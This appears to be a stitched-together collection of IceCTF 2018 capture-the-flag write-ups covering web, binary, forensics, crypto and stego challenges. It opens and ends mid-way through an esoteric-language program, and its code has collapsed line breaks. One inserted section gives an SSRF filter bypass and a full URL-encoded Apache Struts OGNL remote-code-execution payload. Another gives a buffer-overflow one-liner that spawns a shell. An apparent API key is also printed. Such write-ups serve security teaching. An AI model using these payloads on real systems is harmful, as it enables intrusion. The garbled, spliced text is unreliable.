(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|([}|}|(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||()|(}[}||(){[)|(<}|||}|((}(}||[(}[}||||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|()|(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||((}||((}((}(}||[(}[}|||||[(}[}||||(}[}||(()))))|}|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|({<}|}((<)||||<}}||(){[)|(<}())|())[)[))||[)||(}>|({<(}[)|||>(}|>|}><}||(())|})|()))))|(}>|({<(}[)|||>(}|>|}><}||(}>|({<(}[)|||>(}|>|}><}||(}[}||(){[)|(<}|||}|(){[)|(<}((())|}|}|({(}|(}|(}[)|||}|(()))))|}|([}|}|(}[}||(){[)|(<}|||}|(){[)|(<}()>|>|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}(>{<}|}((<)||||<}}|>||||}|{}((<(]|{(}[)|<}|||}||||}```
**Flag**```flag```
## Misc 10: Hello World!
**Challenge**
Welcome to the competition! To get you started we decided to give you your first flag. The flags all start with the "IceCTF" and have some secret message contained with in curly braces "{" and "}".
Within this platform, the challenges will be shown inside a frame to the right. For example purposes the download interface is shown on the right now. For static challenges you will need to click the large button in order to receive your challenge. For non static challenges, the lab itself will be shown on the right.
To submit the flag you can click the blue flag button in the bottom right hand corner.
Your flag is `IceCTF{this_is_a_flag}`
**Solution**
`CTRL+C, CTRL+V`
**Flag**
```IceCTF{this_is_a_flag}```
## Misc 250: anticaptcha
**Challenge**
Wow, this is a big captcha. Who has enough time to solve this? Seems like a lot of effort to me!
https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/
**Solution**
looks like we will have to answer these questions to get the flag. We automate this:
```python
from bs4 import BeautifulSoupimport requestsfrom fractions import gcd as _gcdimport mathimport reimport sysfrom itertools import count, islicefrom math import sqrt
URL = "https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/"
def isprime(n): n = int(n) return n > 1 and all(n%i for i in islice(count(2), int(sqrt(n)-1)))
def gcd(a, b): return _gcd(int(a), int(b))
def nthword(a, b): return b.replace('.',' ').replace(' ',' ').split(' ')[int(a)]
asdf = { 'What is the greatest common divisor of (?P[0-9]+) and (?P[0-9]+)?': gcd, 'Is (?P[0-9]+) a prime number?': isprime, 'What is the (?P[0-9]+).. word in the following line:(?P.*)': nthword, 'What is the tallest mountain on Earth?': lambda: "Mount Everest", 'What is the capital of Hawaii?': lambda: "Honolulu", 'What color is the sky?': lambda: "blue", 'What year is it?': lambda: "2018", 'Who directed the movie Jaws?': lambda: "Steven Spielberg", 'What is the capital of Germany?': lambda: "Berlin", 'Which planet is closest to the sun?': lambda: "Mercury", 'How many strings does a violin have?': lambda: "4", 'How many planets are between Earth and the Sun?': lambda: "2",}
data = requests.get(URL)
answers = []
html_doc = data.textsoup = BeautifulSoup(html_doc, 'html.parser')for idx, td in enumerate(soup.find_all('td')): if idx % 2 == 1: continue
text = td.text.replace('\n', '')
matched = False for (m, func) in asdf.items(): match = re.match(m, text) if match: matched = True answers.append(str(func(*match.groups())))
if not matched: print("> %s <" % text)
r = requests.post(URL, headers={'Content-type': 'application/x-www-form-urlencoded'}, data={'answer': answers})print(r.text[:1000])```
when we get it right, the page responds with our flag
**Flag**```IceCTF{ahh_we_have_been_captchured}```
## Misc 200: ilovebees
**Challenge**
I stumbled on to this strange website. It seems like a website made by a flower enthusiast, but it appears to have been taken over by someone... or something.
Can you figure out what it's trying to tell us?
https://static.icec.tf/iloveflowers/
**Solution**
website:
The website seems to be a reference to Halo (https://en.wikipedia.org/wiki/I_Love_Bees)
We download the [entire website](writeupfiles/static.icec.tf/iloveflowers/)
```wget -m https://static.icec.tf/iloveflowers/```
After much searching, the flag turns out to be the favicon gif file:
We see nothing with `strings` or `binwalk` or in the exifdata, but after we extract all the frames to png images
```convert -coalesce favicon.gif out%03d.png```
and run examine the exifdata
```bash$ exiftool out*.png======== out-0.pngExifTool Version Number : 10.60File Name : out-0.pngDirectory : .File Size : 746 bytesFile Modification Date/Time : 2018:09:16 18:45:41+02:00File Access Date/Time : 2018:09:16 18:45:56+02:00File Inode Change Date/Time : 2018:09:16 18:45:41+02:00File Permissions : rw-rw-r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 16Image Height : 16Bit Depth : 8Color Type : PaletteCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedGamma : 2.2White Point X : 0.3127White Point Y : 0.329Red X : 0.64Red Y : 0.33Green X : 0.3Green Y : 0.6Blue X : 0.15Blue Y : 0.06Palette : (Binary data 285 bytes, use -b option to extract)Background Color : 59Modify Date : 2018:09:06 15:20:54Datecreate : 2018-09-16T18:41:49+02:00Datemodify : 2018-09-06T15:20:54+02:00Image Size : 16x16Megapixels : 0.000256======== out-100.pngExifTool Version Number : 10.60File Name : out-100.png
[..]
```
we see that they each have binary metadata embedded that we can extract using the -b option:
```bash$ exiftool -b out*.png > outbinary```
this file doesnt look like much, we could probably clean it up, but a `strings` already gives us the flag:
```bash$ strings outbinary | grep IceIceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}```
**Flag**```IceCTF{MY_FAVORITE_ICON}```
## Misc 300: Secret Recipe
**Challenge**
I found this secret recipe when I was digging around in my Icelandic grandmother's attic. I have a feeling that she might have been a part of some secret organization. Can you see if there are any other secrets hidden in the recipe?
**Solution**
Transcription:
> Leyniuppskrift:>> Byrjaðu á að brjóta 5 egg og setja svo 3 matskeiðar af skyri í skál. Hrærið> svo 9 desilítra af hveiti út í ásamt 3 desilítrum af mjólk. Svo skal setja 7> teskeiðar af lyftidufti og 2 teskeiðar af vanilludropum áður enn það eru sett> 9 grömm af smjöri í skálina.>> Hrærið þessu rækilega saman og setjið svo út á pönnu.>> Alveg eins og amma gerði þða
Translation:
> Secret Recipe>> Start breaking 5 eggs and then put 3 tablespoons of sprouts into a bowl. Stir> 9 decilitres of flour together with 3 deciliters of milk. Then put 7> teaspoons of baking soda and 2 teaspoons of vanilla pods before putting 9> grams of butter in the bowl.>> Stir this thoroughly and then place it on a pan.>> Just like a grandmother made a pillow
**Flag**```flag```
|
This challenge is another PHP application, where you can fetch url and see the response. It's an obvious SSRF Challenge with a blacklist filter: ```php$url = $_POST['url'];$parsed = parse_url($url);$scheme = $parsed['scheme'];if($scheme !== 'http'){ die('Hacking attempt'); }$blacklist = ["127","local","::","http://0/"];foreach ($blacklist as $value) { if (stripos($url,$value) !== false) die('Hacking attempt');}if (substr_count($parsed['host'], '.') > 0){ die('hacking attempt');}```So it seems its not possible to use other sheme than http, also there is a filter on localhost address and ipv6 notation, and there is a count for dots in host scheme, so it seems domain bypass is not possible, One possible way to bypass this filter is use decimal notation http://2130706433/ The next step is scan internal network for other services, the only other service is running on port 8080, which shows tomcat default page. The hint suggested that I was using Struts version 2.3.14, you can then find out that this [version](https://www.securityfocus.com/bid/105125) was vulnerable to CVE-2018-11776 I was using this exact container : https://github.com/bhdresh/CVE-2018-11776 The only difference is that your payload will be through ssrf so you might have to encode your payloads After getting rce, the goal was to read the file /flag , the full payload(in browser) looks like : http://2130706433:8080/struts2-showcase-2.3.14/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/flag%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/help.action |
# IceCTF 2018
2-Week-long Icelandic CTF in September 2018
Team: Galaxians
## Overview```Title Category Points Flag------------------------------ -------------- ------ -----------------------------Toke Relaunch Web 50 IceCTF{what_are_these_robots_doing_here}Lights out Web 75 IceCTF{styles_turned_the_lights}Friðfinnur Web 200 IceCTF{you_found_debug}History of Computing Web 350
Simple Overflow Binary 250Cave Binary 50 IceCTF{i_dont_think_caveman_overflowed_buffers}Twitter Binary 800
Modern Picasso Forensics 150 IceCTF{wow_fast}Hard Shells Forensics 200 IceCTF{look_away_i_am_hacking}Lost in the Forest Forensics 300 IceCTF{good_ol_history_lesson}
garfield Cryptography 100 IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}Posted! Cryptography 250Think outside the key! Cryptography 200Ancient Foreign Communications Cryptography 300 IceCTF{squeamish ossifrage}
Drumbone Steganography 150 IceCTF{Elliot_has_been_mapping_bits_all_day}Hot or Not Steganography 300 IceCTF{h0td1gg1tyd0g}Rabbit Hole Steganography 400 IceCTF{if_you_see_this_youve_breached_my_privacy}
Locked Out Reversing 200Poke-A-Mango Reversing 250Passworded! Reversing 400
Hello World! Misc 10 IceCTF{this_is_a_flag}anticaptcha Misc 250 IceCTF{ahh_we_have_been_captchured}ilovebees Misc 199 IceCTF{MY_FAVORITE_ICON}Secret Recipe Misc 290```
## Web 50: Toke Relaunch
**Challenge**
We've relaunched our famous website, Toke! Hopefully no one will hack it again and take it down like the last time.
**Solution**
The link leads to some marijuna website
Last edition the toke challenge had the flag hidden in a cookie, but no cookies are set this time, so we have to look elsewhere
We check the robots.txt file and see:
```User-agent: *Disallow: /secret_xhrznylhiubjcdfpzfvejlnth.html
```
the disallowed file contains our flag.
**Flag**```IceCTF{what_are_these_robots_doing_here}```
## Web 75: Ligths out
**Challenge**
Help! We're scared of the dark!
https://static.icec.tf/lights_out
**Solution**
We see a black page
with source:
```html
<html> <head> <meta charset="utf-8" /> <title>Lights out!</title> <link rel="stylesheet" href="main.css" /> </head> <body> <div class="alert alert-danger">Who turned out the lights?!?!</div> <summary> <div class="clearfix"> <small></small> <small></small> </div> </summary> </body></html>
```
Some fiddling with the css yields the flag
**Flag**
```IceCTF{styles_turned_the_lights}```
## Web 200: Friðfinnur
**Challenge**
Eve wants to make the hottest new website for job searching on the market! An avid PHP developer she decided to use the hottest new framework, Laravel! I don't think she knew how to deploy websites at this scale however....
https://gg4ugw5xbsr2myw-fridfinnur.labs.icec.tf/
**Solution**
Not sure if this was the intended solution, but requesting an url for a nonexistant job listing lead to an error message containing the flag:
https://29nd70ux6kr7ala-fridfinnur.labs.icec.tf/jobs/galaxian
**Flag**```IceCTF{you_found_debug}```
## Web 350: History of Computing
**Challenge**
One of the authors of IceCTF made this page but I don't think it's very accurate. Can you take hack it before the IceCTF team gets sued?
**Solution**
A blogging website with registration/login forms and comment submission
If we log in we get a cookie
```token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.session: eyJ1c2VyIjozfQ.DnrHzA.T60QwnNSuvq2HH0VSnNqqzFZ-24```
which base64 decode to:
```token: {"typ":"JWT","alg":"none"}.{"username":"testuser","flag":"IceCTF{hope you don't think this is a real flag}"}session: {"user":3}.?.?```
**Flag**
## Binary Exploit 200: Simple Overflow
**Challenge**
In programming, a buffer overflow is a case where a program, while it is writing data somewhere, overruns the boundary and begins overwriting adjacent memory. This is one of the first vulnerabilities used to exploit software. Modern programming languages tend to provide protection against this type of vulnerability, but it is still observed commonly in low-level software.
Buffer overflows can be a complex vulnerability to understand and exploit due to their low-level nature. To assist you in your training, we have provided a memory simulation in the middle to help you understand what happens when your input in the textbox is passed to the program on the left. The simulation shows you the memory layout of the underlying process, where your buffer is red, and the secret value is green. Try entering values into the box and observe how the values that the program sees change on the left.
In this case, the buffer sits on top of the stack memory, with the variable secret sitting just below it. As you will observe, the size limitation placed on buffer is not enforced, allowing you to write more than 16 characters. Get a feel for buffer overflows by exploring the above code.
Once you are comfortable with buffer overflows, exploit the program to grant you the flag.
[overflow.c](writeupfiles/overflow.c)
**Instructions**1. Hello world!In the textbox in the middle, try entering Hello World!. Observe which variable within the code takes the value.
2. Overflow!What happens if you write more than 16 characters into the buffer? Can you make the secret change?
3. Take controlCan you make secret take the value 1633771873 (0x61616161). Note that strings are stored in ASCII, and in ASCII, character number 0x61 is a.
4. Little endianIn most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value 1633837924 (0x61626364)?
5. Escape from ASCIIAs you may see in the code, to get past the restrictions and retrieve the flag, secret needs to have a value of 0xcafebabe. However not all these characters are in ASCII! What will you do?
**Solution**
We examine the source code
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
const char* FLAG = "<REDACTED>"
void flag() { printf("FLAG: %s\n", FLAG);}
void message(char *input) {
char buf[16] = "";
int secret = 0;
strcpy(buf, input);
printf("You said: %s\n", buf);
if (secret == 0xcafebabe) { flag(); } else { printf("The secret is 0x%x\n", secret); }}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./overflow <message>\n"); } return 0;}```
**Flag**
## Binare Exploit 50: Cave
**Challenge**
You stumbled upon a cave! I've heard some caves hold secrets.. can you find the secrets hidden within its depths?
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
void shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i");}
void message(char *input) { char buf[16]; strcpy(buf, input);
printf("The cave echoes.. %s\n", buf);}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./shout <message>\n"); } return 0;}```
**Solution**
Another buffer overflow challenge, this time we need to overwrite the return address to call the `shell()` function.First we need to find out what that address should be, we can do this with gdb's `info functions shell` or`objdump -d ./shout | grep shell` and find out that the address is `0x0804850b`
So we need to overwrite the return address with this address, in little endian order:
```./shout `python -c "print('a'*28+'\x0b\x85\x04\x08')"````
this gives us a root shell and we can read the contents of `flag.txt` to read our flag:
**Flag**
```IceCTF{i_dont_think_caveman_overflowed_buffers}```
## Binary Exploit 800: Twitter
**Challenge**
Someone left a time machine in the basement with classic games from the 1970s. Let me play these on the job, nothing can go wrong.
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-twitter```
**Solution**
**Flag**
## Forensics 150: Modern Picasso
**Challenge**
Here's a rendition of some modern digital abstract art. Is it more than art though?
**Solution**
Using imagemagick to convert the white background in each frame to transparant:
```convert picasso.gif -transparent white picasso_transparent.gif```
gives a gif that slowly builds up the flag:
**Flag**
```IceCTF{wow_fast}```
## Forensics 200: Hard Shells
**Challenge**
After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
[file](writeupfiles/hardshells)
**Solution**
the file is an encrypted zip file.
we use fcrackzip with the crackstation wordlist to find the password
```bash$ fcrackzip -v --use-unzip -D -p wordlist hardshells.zip'hardshells/' is not encrypted, skippingfound file 'hardshells/d', (size cp/uc 309500/5242880, flags 9, chk 91d0)checking pw TILIGUL'S
PASSWORD FOUND!!!!: pw == tacos```
the [file we get](writeupfiles/d) now is a Minix filesystem
```bash$ file dd: Minix filesystem, V1, 30 char names, 20 zones```
Running `strings`, we found `IHDR` indicating it might be a PNG file. Comparingthe file (in vim) to a normal PNG file we discovered they'd changed PNG to PUGand the file became valid.
This gives us a nice screenshot of someone's desktop, with the flag.
**Flag**```IceCTF{look_away_i_am_hacking}```
## Forensics 300: Lost in the Forest
**Challenge**You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?
**Solution**We receive a zip file named 'fs.zip' which contains a partial root file system of our hacker's machine. After unzipping we looked for all potentially interesting files:
```find -type f .```
And spotted './home/hkr/Desktop/clue.png' which is just a picture of a redherring. Cute. So the other dozens of JPGs are probably also red herrings. Nextwe looked for more interesting files and just looked at them individually witha text editor:
```vim `find -type f .````
Most were rather uninteresting, but there was a base64 looking string,`./home/hkr/hzpxbsklqvboyou` which might be interesting later. In`.bash_history` there were some interesting commands:
```wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZpmv eRkjLlksZp tool.py./tool.py ../secret > ../hzpxbsklqvboyou```
So that script generated the base64 stuff on the desktop. We'll just write a [decode version of the script](./writeupfiles/lost-in-the-forest.py) and decrypt our output.
**Flag**```IceCTF{good_ol_history_lesson}```
## Cryptography 100: garfeld
**Challenge**
You found the marketing campaign for a brand new sitcom. Garfeld! It has a secret message engraved on it. Do you think you can figure out what they're trying to say?
**Solution**
The image reads:
`IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}`
Looks like the flag but encrypted somehow
Turns out to be vigenere with key `ahchbjhi`
we later realized that the `07271978` at the top of the image is a hint for this key with A=0,B=1 etc
**Flag**
```IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}```
## Cryptography 250: Posted!
**Challenge**
Apparently some bitwise boi is posting flags all over the place. He gave us a hint, though.
```DychGDZJRRsEUTI0JDViVlxeZyFIBCM7MwosGRQCMCgZJCIrGCsoRkFIajcSKhBTGx9XeTV4MDlZB1Y=```
He also gave us another hint: 41
**Solution**
base64 decode, then probably one or more bitwise operation (due to mention of 'bitwise boi' in description), likely involving the number 41
**Flag**
## Cryptography 400: Think outside the key
**Challenge**
Estelle was messing around with her computer and she ended up outputting some garbage! Could you figure out what this means?!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the decrypted text.
[mess.txt](writeupfiles/mess.txt)
**Solution**
```i⇧fjag8⇧qv⇧qy4⇧dag8k0q⇧ptag86⇧s⇧hec⇧l⇧c4ag8z3ssag8⇧q7y66b```
**Flag**```flag```
## Cryptography 300: Ancient Foreign Communications
**Challenge**We got word from a friend of ours lost in the depths of the Andorran jungles! Help us figure out what he is trying to tell us before its too late!
Note: The flag here is non-standard, in the result you should end up with some words! The flag is IceCTF{<words, lowercase, including spaces>}
**Solution**We're given a file with hex bytes, we can use `xxd` to covnert that into the appropriate characters/bytes:
```xxd -r -p comms.txt > out.txt```
Which is full of some fun symbols?
```⨅]]⌞⌞⌟[⨆]⌟]]]⨆⨆⨆⌜[[[⌝⌝⌝⌞⌝⌝⌝⌝⨆⌝⌝⌝⌞⌞⌝⌝⌝⌝⌟⌝⌝⨅⨅⌞⌞⨆[]]]⌝⌝⌝⌝]]⌟[[[⌝⌝⌝⌝⌟⌝⌝⌝⌝]]]⌞⌞⌞⌝⌝⌝⨆]⌞⌞```
combining pigpen cipher with T9 we translate this to:
```⨅ ]] ⌞⌞ ⌟ [ ⨆ ] ⌟ ]]] ⨆⨆⨆ ⌜ [[[ ⌝⌝⌝ ⌞ ⌝⌝⌝⌝ ⨆ ⌝⌝⌝ ⌞⌞ ⌝⌝⌝⌝ ⌟ ⌝⌝ ⨅⨅ ⌞⌞ ⨆ [ ]]] ⌝⌝⌝⌝ ]] ⌟ [[[ ⌝⌝⌝⌝ ⌟ ⌝⌝⌝⌝ ]]] ⌞⌞⌞ ⌝⌝⌝ ⨆ ] ⌞⌞t h e _ m a g _ i c w o r d s a r e s _ q u e a m i s h _ o s _ s i f r a g e```
method explained:
- `⨅` in pigpen would signify `H`, when we instead combine this with T9, it would mean the letter `t` (one press on the number `8`)- `]]` would be the `dd` in classic pigpen, but now signifies 2 presses on the number `4`, which would be an `h`- `⌞⌞` is two presses on the 3, so a letter `e`- etc
This gives us the sentence
```the magic words are squeamish ossifrage```
Which was the solution to a challenge ciphertext set by the inventor of RSA in 1977 ([link](https://en.wikipedia.org/wiki/The_Magic_Words_are_Squeamish_Ossifrage))
**Flag**```IceCTF{squeamish ossifrage}```
## Steganography 150: Drumbone
**Challenge**
I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?
**Solution**
Nothing in exif data, nothing with binwalk, nothing obvious, so we check the LSB of each challenge. The blue channel seems to consist of only odd number, this seems suspicious so we investigate furter. Mapping the LSB of each of the RGB channels to black or white gives the following result:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeprint(w,h)
outimg_r = Image.new('RGB', (w,h), "white")outimg_g = Image.new('RGB', (w,h), "white")outimg_b = Image.new('RGB', (w,h), "white")
pixels_r = outimg_r.load()pixels_g = outimg_g.load()pixels_b = outimg_b.load()
for i in range(0,w): for j in range(0,h): (r,g,b) = pixels[i,j] if not r&1: pixels_r[i,j] = (0,0,0) if not g&1: pixels_g[i,j] = (0,0,0) if not b&1: pixels_b[i,j] = (0,0,0)
outimg_r.save("outimg_r.png")outimg_g.save("outimg_g.png")outimg_b.save("outimg_b.png")```
This gives us the following images:
Bingpot! the blue channel seems to contain a QR code!
We clean up the image a bit to get our flag:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeoutimg_b = Image.new('RGB', (outw,outh), "white")pixels_b = outimg_b.load()
wout = -1hout = -1for i in range(1,w,6): wout += 1 hout = -1 for j in range(1,h,6): hout+=1 (r,g,b) = pixels[i,j] if not b&1: pixels_b[wout,hout] = (0,0,0)
outimg_b = outimg_b.resize((10*outw,10*outh))outimg_b.save("outimg_b.png")```
**Flag**```IceCTF{Elliot_has_been_mapping_bits_all_day}```
## Steganography 300: Hot or Not
**Challenge**
According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.
(this is a scaled-down image, original was >70Mb)
**Solution**
Looking at the image more closely, we see it is made up of a series of subimages of either dogs or hotdogs.
Looks like we have to classify the subimages into hotdogs or regular dogs..
First we split the image up into all its subimages with imagemagick
```bash$ convert -crop 224x224 +repage hotdogs/out%04d.jpg```
Next, we can use [Clarifai](https://clarifai.com) to do the image recognition to determine whether the subimages are dogs or hotdogs. Clarifai gives you 5000 free operations per month, but since we have a little over 7500 subimages, we needed two accounts to perform this analysis.
```pythonimport osimport jsonfrom PIL import Imagefrom clarifai.rest import ClarifaiAppfrom clarifai.rest import Image as ClImage
app = ClarifaiApp(api_key='f7f15032b1a04f1fafc2092c63e50e9f')model = app.models.get('general-v1.3')
# detect image contents for all subimagespixels = []for i in range(0,87*87): image = ClImage(file_obj=open("hotdogs/out"+str(i).zfill(4)+".jpg", 'rb')) response = model.predict([image])
hot = False concepts = response['outputs'][0]['data']['concepts'] for concept in concepts: if 'food' in concept['name']: hot = True pixels += [1 if hot == True else 0]
# make qr code image(w,h)=(87,87)
outimg = Image.new( 'RGB', (w,h), "white")pixels_out = outimg.load()
p = 0for i in range(0,h): for j in range(0,w): print(pixels[p]) if pixels[p] == 1: pixels_out[j,i]=(0,0,0) else: pixels_out[j,i]=(255,255,255) p += 1
outimg = outimg.resize((5*w,5*h))outimg.save("pixels_outimg2.png","png")```
This outputs the following image:
This is clearly a QR code, it is just missing the corner anchors. We add these and clean the image up slightly:
**Flag**```IceCTF{h0td1gg1tyd0g}```
## Steganography 400: Rabbit Hole
**Challenge**
Here's a picture of my favorite vegetable. I hope it doesn't make you cry.
**Solution**
After a lot of experimenting, we find out we can uncover a hidden message from the image using steghide:
```bash$ steghide extract -sf rabbithole.jpgEnter passphrase: <onion>wrote extracted data to "address.txt".```
whoo! contents of the file `address.txt` is:
```wsqxiyhn23zdi6ia```
might be an `.onion` link? Opening `http://wsqxiyhn23zdi6ia.onion` with a tor browser (or via https://onion.link/) gives:
[rabbithole.html](writeupfiles/rabbithole.html)
```html
<html> <head> <title>Rabbit Hole</title> <meta charset="UTF-8"> <style> body { background: black; }
p { max-width: 750px; text-align: center; color: #00ff00; margin: 0px auto; }
#header { max-width: 989px; margin: 0px auto; }
#footer { margin: 100px 0; text-align: center; }
#error { max-width: 350px; }
#eyes { max-width: 200px; } </style> </head> <body> <div id="header"> </div> 聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
<div id="footer"> </div> </body></html>
```
We find nothing in the images, but after some hints we find that the chinese characters are [base65536](https://github.com/Parkayun/base65536)
[file with just the characters](writeupfiles/rabbithole_characters.txt)
```python# pip install base65536
import base65536
with open('rabbithole_characters.txt','r') as f: ct = f.readline().rstrip().replace(' ','')
with open('rabbithole_out','wb') as f2: f2.write(base65536.decode(ct))```
which turns out to be an [epub](writeupfiles/rabbithole_out.epub) on cell phone hacking. Searching the contents for the flag gives it to us
**Flag**```IceCTF{if_you_see_this_youve_breached_my_privacy}```
## Reverse Engineering 200: Locked out
**Challenge**This is a fancy looking lock, I wonder what would happen if you broke it open?
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-lockedout```
Note: the binary is [here](writeupfiles/lock)
**Solution**
**Flag**
## Reverse Engineering: Poke-A-Mango
**Challenge**
I love these new AR games that have been coming out recently, so I decided that I would make my own with my favorite fruit! The Mango!
Can you poke 151 mangos?
NOTE Make sure that you allow the app access to your GPS location and camera otherwise the app will not work. You can do that in App Permissions in Settings.
[apk](writeupfiles/pokemango.apk)
**Solution**
installing the app gives a map and a shop menu where it appears you need to find 151 mangoes to get the flag
We decompile the app:
```apktool decode pokemango.apk```
**Flag**```
```
## Reverse Engineering 400: Passworded!
**Challenge**
Alice loves to cause mayhem, and recently she sent this message to Bob! Bob is nothing but confused, leading to him asking for your help. Don't let the world descend into chaos!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the string the program accepts.
[password.txt](writeupfiles/password.txt)
**Solution**
```(((())|}|}|}|(][)||(}[}||(){[)|(<}|||}|(){[)|(<}(())))|}|{(((}[)||<{(}[)|<(}<(}>|>|||||}||<{(}[)|<>(}>||||}|||}(())))|})|<((}[)||<{(}[)|<(}[))))|>|>|||}||<{(}[)|<>(}>||||}||())|{(}[)|<(}[((((())|}|}|}|}|}(((())|}|}|}|}))))||(}<())[)||||{((}>|[)|<<({<(}[)|||>(}|>|}><}||||||}((((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}(((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((())|}|}|}|}|}|}|}|}|}|}|}(((((((((())|}|}|}|}|}|}|}|}|}|}((((((((())|}|}|}|}|}|}|}|}|}(((((((())|}|}|}|}|}|}|}|}((((((())|}|}|}|}|}|}|}|(}[}||(){[)|(<}|||}|(){[)|(<}(((((())|}|}|}|}|}[()))|}))||(}(>||>([)|)[)|{)<<((}||{(}[)||>|}|||}><}}||(){[)|(<}((}|()||{(}[)|<([}|)||||}(){[)|(<}|||}|((}(}||[(}[}||||(((((())|}|}|}|}|}[(())|}|}))))||(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||(){[)|(<}(()))|})|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|(}[}||(){[)|(<}|||}|(){[)|(<}(())|}|({)(}[)|||}))|({)(}[)|||}|(}[}||(){[)|(<}|||}|(){[)|(<}((((}||||(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|([}|}|(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||()|(}[}||(){[)|(<}|||}|((}(}||[(}[}||||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|()|(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||((}||((}((}(}||[(}[}|||||[(}[}||||(}[}||(()))))|}|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|({<}|}((<)||||<}}||(){[)|(<}())|())[)[))||[)||(}>|({<(}[)|||>(}|>|}><}||(())|})|()))))|(}>|({<(}[)|||>(}|>|}><}||(}>|({<(}[)|||>(}|>|}><}||(}[}||(){[)|(<}|||}|(){[)|(<}((())|}|}|({(}|(}|